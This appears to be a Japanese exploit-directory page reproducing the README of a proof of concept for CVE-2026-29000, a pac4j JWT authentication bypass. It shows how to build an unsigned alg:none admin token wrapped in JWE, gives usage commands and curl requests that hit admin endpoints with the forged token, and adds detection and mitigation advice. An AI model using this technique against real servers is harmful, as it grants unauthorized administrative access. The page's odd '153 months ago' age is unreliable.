Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29000 — Python POC、CVE-2026-29000 向けエクスプロイト | Kitploit
ツール/GitHubGitHub/c0gnit00/cve-2026-29000
認証と認可ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用暗号化ペネトレーションテスト学習と教育
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC、CVE-2026-29000 向けエクスプロイト

リポジトリを見る
153ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29000: pac4j JWT 認証バイパス PoC

概念実証 CVE-2026-29000 - pac4j JWT 実装における重大な認証バイパス脆弱性。攻撃者は有効な署名なしで管理者トークンを偽造できます。


⚠️ 免責事項

このツールは教育目的および許可されたセキュリティテスト目的のみに提供されています。作者はこのエクスプロイトの誤用、損害、または違法使用について一切の責任を負いません。

  • コンピュータシステムへの不正アクセスはほとんどの法域で違法です
  • テスト前に明示的な書面による許可を取得する必要があります
  • 作者はこのツールの誤用から生じるいかなる結果に対しても責任を負いません
  • これはセキュリティ研究および教育ツールです - 倫理的かつ合法的に使用してください

📋 脆弱性の概要

この脆弱性は、pac4j の JWT 認証メカニズムの欠陥を悪用します。このライブラリは以下の動作を行います:

  1. JWT ヘッダーに alg: "none" を含む署名なしトークンを受け入れます
  2. 内部 JWT 署名を適切に検証せずにJWE ラップされたトークンを信頼します
  3. 署名なしペイロードのカスタムクレームを通じてロール昇格を許可します

攻撃者は任意のクレーム(role: "ROLE_ADMIN" など)を含む署名なし JWT を作成し、サーバーの公開鍵を使用して JWE コンテナに暗号化し、管理者機能への不正アクセスを得ることができます。


🎯 エクスプロイト成功の前提条件

サーバー側の必要条件

このエクスプロイトを成功させるには、ターゲットサーバーが以下の条件をすべて満たす必要があります:

1. アクセス可能な JWKS エンドポイント

サーバーは以下のいずれかのエンドポイントを介して公開鍵を公開する必要があります:

  • /.well-known/jwks.json (標準 OAuth/OIDC エンドポイント)
  • /api/auth/jwks (カスタムエンドポイント)

理由: エクスプロイトは自動的にサーバーの公開鍵を取得し、偽造 JWE トークンを暗号化します。

2. JWT ロールクレームの受け入れ

サーバーは以下を満たす必要があります:

  • JWT ペイロード内の role クレームを受け入れ、処理する
  • 昇格したアクセス権を付与する少なくとも1つの特権レベルを持つ(例: ROLE_ADMIN)
  • JWT 署名を検証しない、または署名なしトークンを許可する

一般的なロール:

  • ROLE_ADMIN - フル管理アクセス
  • ROLE_USER - 標準ユーザーアクセス
  • アプリケーションに依存するカスタムロール

3. JWE トークン処理

サーバーは以下を満たす必要があります:

  • JWE(暗号化)トークンを有効な認証として受け入れる
  • 内部の署名なし JWT を復号して処理する
  • 内部 JWT の署名を検証しない、またはアルゴリズムをチェックしない

4. 脆弱な pac4j 設定

アプリケーションは以下の pac4j 設定を使用する必要があります:

  • アルゴリズムが "none" に設定されている、または不十分なアルゴリズム検証
  • JWE 暗号化が有効だが内部 JWT の署名検証が無効
  • JWE 復号以外の追加トークン検証がない

🛠️ インストール

必要条件

  • Python 3.7+
  • 必要なパッケージ: requests, jwcrypto

セットアップ

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 使い方

基本的な使い方

root@kitploit:~
python3 exploit.py <TARGET_URL>

例:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

スクリプトは以下を実行します:

  1. 標準エンドポイントから JWKS の取得を試みます
  2. role: "ROLE_ADMIN" を含む署名なし JWT を生成します
  3. サーバーの公開鍵を使用して暗号化します
  4. 認証準備ができた JWE トークンを出力します

高度なオプション

カスタムユーザー名

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

カスタムロール

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

JWKS を手動で指定

JWKS エンドポイントが公開されていない場合、手動で JWK を指定します:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

すべてのオプションを使用した完全な例

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 生成されたトークンの使用

エクスプロイトは以下の形式で JWE トークンを出力します:

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

認証リクエストの作成

HTTP リクエストでトークンを使用して保護されたエンドポイントにアクセスします:

root@kitploit:~
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Authorization ヘッダーを使用したリクエスト例

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 エクスプロイトの仕組み

ステップ1: 署名なし JWT の作成

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

JWT は署名なし(alg: "none")で作成されます。これは通常は無効ですが、脆弱なサーバーでは受け入れられます。

ステップ2: サーバーの JWKS を取得

エクスプロイトは以下を照会します:

  1. /.well-known/jwks.json (OAuth/OIDC 標準)
  2. /api/auth/jwks (カスタムエンドポイント)

これにより、暗号化に必要なサーバーの RSA 公開鍵を取得します。

ステップ3: JWT を JWE として暗号化

署名なし JWT は以下を使用して暗号化されます:

  • アルゴリズム: RSA-OAEP-256 (非対称暗号化)
  • 暗号化: A128GCM (認証付き暗号化)
  • 鍵: サーバーの公開鍵 (改ざん防止)

これにより、サーバーが復号できるが内部の署名を検証しない JWE トークンが作成されます。

ステップ4: トークンの使用

JWE トークンは Authorization ヘッダーに含まれます:

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

脆弱なサーバーはそれを復号し、署名なし JWT を抽出し、署名を検証せずにクレームを信頼します。


🔐 脆弱性の連鎖

root@kitploit:~
Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

⚠️ 検出と兆候

サーバー側の脆弱性の兆候

  1. JWKS エンドポイントの露出
    • /.well-known/jwks.json または /api/auth/jwks が公開されているか確認
  2. JWT 検証ログ
    • alg: "none" のトークンを受け入れるログを探す
    • 署名なしトークンが受け入れられている警告
  3. 設定の確認
    • pac4j の署名検証が無効になっていないか確認
    • JWE 復号設定を確認

ネットワークの兆候

root@kitploit:~
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ 緩和策と対策

pac4j を使用する開発者向け

  1. 署名検証の強制

    root@kitploit:~
    // BAD - Accepts unsigned tokens
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ Vulnerable
    
    // GOOD - Requires valid signature
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
    
  2. JWT アルゴリズムの検証

    • alg: "none" を決して受け入れない
    • 許可されたアルゴリズム(例: RS256, HS256)をホワイトリスト
    • アルゴリズムが一致しないトークンを拒否
  3. 不要な場合は JWE を無効化

    • 認証に JWT のみが必要な場合、JWE ラッピングを無効にする
    • JWE が必要な場合は、内部 JWT の署名を個別に検証する
  4. pac4j の更新

    • セキュリティパッチを適用
    • デフォルトで署名検証が有効なバージョンに更新
  5. トークン検証レイヤーの追加

    • トークンの有効期限(exp クレーム)を検証
    • 発行者(iss クレーム)を確認
    • 信頼できるデータベースとロールを照合

システム管理者向け

  1. JWKS エンドポイントアクセスの制限

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # Internal networks only
        deny all;
    }
    
  2. 認証ログの監視

    • alg: "none" のトークンでアラート
    • 予期しないソースからの管理者ロール割り当てにフラグ
  3. ネットワークセグメンテーション

    • 認証サーバーを分離
    • JWKS エンドポイントを許可されたクライアントに制限
  4. 定期的なセキュリティ監査

    • pac4j 設定の確認
    • 認証メカニズムのペネトレーションテスト

📊 テスト環境

脆弱な設定例

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}

📚 参考文献

  • CVE ID: CVE-2026-29000
  • 影響を受けるライブラリ: pac4j (JWT モジュール)
  • 攻撃ベクトル: 署名なし JWT + JWE 暗号化による認証バイパス
  • CVSS スコア: 9.8 (重大)

関連リソース

  • pac4j GitHub リポジトリ
  • JWT のベストプラクティス
  • OWASP JWT チートシート

⚖️ 法的免責事項

このエクスプロイトは教育目的および許可されたセキュリティテスト目的のみに提供されています。

**コンピュータシステムへの不正アクセスは違法です。**このツールは以下のシステムでのみ使用する必要があります:

  • 自分が所有するシステム
  • 明示的な書面による許可を得たシステム
  • 許可されたペネトレーションテストの範囲

作者はこのツールの誤用または損害について責任を負いません。


📝 ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照


👥 コントリビューション

バグを発見しましたか?改善点がありますか?

  1. リポジトリをフォーク
  2. 機能ブランチを作成 (git checkout -b feature/improvement)
  3. 変更をコミット (git commit -m 'Add improvement')
  4. ブランチにプッシュ (git push origin feature/improvement)
  5. プルリクエストを作成

📞 サポート

問題、質問、提案がある場合:

  • GitHub で issue を開く
  • 対象の pac4j バージョンを含める
  • 関連するログと設定を添付

最終更新: 2026年5月
作者: セキュリティ研究チーム
ステータス: 教育用 PoC

ツールをダウンロード